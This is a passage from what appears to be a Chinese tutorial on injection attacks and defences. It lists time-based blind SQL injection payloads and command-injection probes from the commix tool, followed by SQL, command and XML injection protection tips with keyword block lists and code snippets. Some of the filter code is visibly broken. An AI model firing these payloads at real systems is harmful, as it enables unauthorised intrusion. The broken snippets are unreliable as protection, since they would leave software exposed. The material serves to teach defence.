271 ' or sleep(__TIME__)#
272 " or sleep(__TIME__)="
273 ' or sleep(__TIME__)='
274 1) or sleep(__TIME__)#
275 ") or sleep(__TIME__)="
276 ') or sleep(__TIME__)='
277 1)) or sleep(__TIME__)#
278 ")) or sleep(__TIME__)="
279 ')) or sleep(__TIME__)='
280 ;waitfor delay '0:0:__TIME__'--
281 );waitfor delay '0:0:__TIME__'--
282 ';waitfor delay '0:0:__TIME__'--
283 ";waitfor delay '0:0:__TIME__'--
284 ');waitfor delay '0:0:__TIME__'--
285 ");waitfor delay '0:0:__TIME__'--
286 ));waitfor delay '0:0:__TIME__'--
287 '));waitfor delay '0:0:__TIME__'--
288 "));waitfor delay '0:0:__TIME__'--
289 benchmark(10000000,MD5(1))#
290 1 or benchmark(10000000,MD5(1))#
291 " or benchmark(10000000,MD5(1))#
292 ' or benchmark(10000000,MD5(1))#
293 1) or benchmark(10000000,MD5(1))#
294 ") or benchmark(10000000,MD5(1))#
295 ') or benchmark(10000000,MD5(1))#
296 1)) or benchmark(10000000,MD5(1))#
297 ")) or benchmark(10000000,MD5(1))#
298 ')) or benchmark(10000000,MD5(1))#
299 pg_sleep(__TIME__)--
300 1 or pg_sleep(__TIME__)--
301 " or pg_sleep(__TIME__)--
302 ' or pg_sleep(__TIME__)--
303 1) or pg_sleep(__TIME__)--
304 ") or pg_sleep(__TIME__)--
305 ') or pg_sleep(__TIME__)--
306 1)) or pg_sleep(__TIME__)--
307 ")) or pg_sleep(__TIME__)--
308 ')) or pg_sleep(__TIME__)--
View Code

commix工具中部分字典

 1 echo%20AGIYMZ$((69%2B52))$(echo%20AGIYMZ)AGIYMZ
 2 %20echo%20TDJHRY$((30%2B41))$(echo%20TDJHRY)TDJHRY
 3 ;echo%20MPCSBG$((54%2B42))$(echo%20MPCSBG)MPCSBG
 4 &echo%20NWMZCF$((57%2B72))$(echo%20NWMZCF)NWMZCF
 5 |echo%20TJEGSE$((27%2B57))$(echo%20TJEGSE)TJEGSE
 6 ||echo%20ANSBHE$((26%2B89))$(echo%20ANSBHE)ANSBHE
 7 &&echo%20PVJXOS$((12%2B1))$(echo%20PVJXOS)PVJXOS
 8 %0aecho%20VVIEOJ$((30%2B78))$(echo%20VVIEOJ)VVIEOJ
 9 %3Becho%20SRPJET$((29%2B34))$(echo%20SRPJET)SRPJET
10 %26echo%20NQPWBV$((16%2B77))$(echo%20NQPWBV)NQPWBV
11 %26%26echo%20QOZRFB$((19%2B4))$(echo%20QOZRFB)QOZRFB
12 %7Cecho%20IRODNG$((26%2B68))$(echo%20IRODNG)IRODNG
13 %7C%7Cecho%20KRCSNE$((57%2B75))$(echo%20KRCSNE)KRCSNE
14 echo%20IFNPXI$((40%2B99))$(echo%20IFNPXI)IFNPXI'
15 %20echo%20HBFEEM$((46%2B2))$(echo%20HBFEEM)HBFEEM'
16 ;echo%20KHMFRS$((69%2B67))$(echo%20KHMFRS)KHMFRS'
17 &echo%20DACXMN$((57%2B35))$(echo%20DACXMN)DACXMN'
View Code

SQL注入防护-1

对用户的输入进行校验,能够经过正则表达式,或限制长度,对单引号和双"-"进行转换等

SQL注入防护-2

使用参数化的SQL或者直接使用存储过程进行数据查询存取

SQL注入防护-3

为每一个应用使用单独的权限有限的数据库链接

SQL注入防护-4 - 使用正则校验

.+ @"\s?sysobjects\s?|\s?xp_.*?|\s?syslogins\s?|\s?sysremote\s?|\s?sysusers\s?|\s?sysxlogins\s?|\s?sysdatabases\s?|\s?aspnet_.*?|\s?exec\s?", RegexOptions.Compiled | RegexOptions.IgnoreCase);
View Code

SQL注入防护-5

应用的异常信息应该给出尽量少的提示,最好使用自定义的错误信息对原始错误信息进行包装

SQL注入防护-6 - 对字符串进行过滤

public static boolean sql_inj(String str){
String inj_str = "'|and|exec|insert|select|delete|update|
count|*|%|chr|mid|master|truncate|char|declare|;|or|-|+|,";
String inj_stra[] = split(inj_str,"|");
for (int i=0 ; i &lt; inj_stra.length ; i++ ){
if (str.indexOf(inj_stra[i])&gt;=0){
return true;
}
}else{
return false;
}
JS中:
function check(a){
return 1;
fibdn = new Array (”‘” ,”\\”,”/”);
i=fibdn.length;
j=a.length;
for (ii=0; ii<i; ii++)
{ for (jj=0; jj<j; jj++)
{ temp1=a.charAt(jj);
temp2=fibdn[ii];
if (tem’; p1==temp2)
{ return 0; }
}
}
return 1;
}
View Code

SQL注入防护7

确认每种数据的类型,好比数字型的数据就必须是数字,数据库中的存储字段必须对应为int型

SQL注入防护-8

对进入数据库的特殊字符(’”&*;等)进行转义处理,或编码转换

SQL注入防护-9

数据长度应该严格规定,能在必定程度上防止比较长的SQL注入语句没法正确执行

SQL注入防护-10

网站每一个数据层的编码统一,建议所有使用UTF-8编码,上下层编码不一致有可能致使一些过滤模型被绕过

SQL注入防护-11

使用url重写

SQL注入防护-12

限制输入框长度

SQL注入防护-13

传递参数尽可能不是字符

SQL注入防护-14-cmd注入防护

使用正则过滤IP字段
if(preg_match('/^(?=^.{3,255}$)[a-zA-Z0-9][-a-zA-Z0-9]{0,62}(\.[a-zA-Z0-9][-a-zA-Z0-9]{0,62})+$|^((25[0-5]|2[0-4]\d|[01]?\d\d?)($|(?!\.$)\.)){4}$/',$target)){}   

SQL注入防护-15-XML注入防护

使用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);

JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

#过滤用户提交的XML数据
过滤关键字:<\!DOCTYPE和<\!ENTITY,或者SYSTEM和PUBLIC。
不容许XML中含有本身定义的DTD

SQL注入防护-16-Cookie注入防护

用Request.QueryString (GET) 或 Request.Form (POST)
相关文章
相关标签/搜索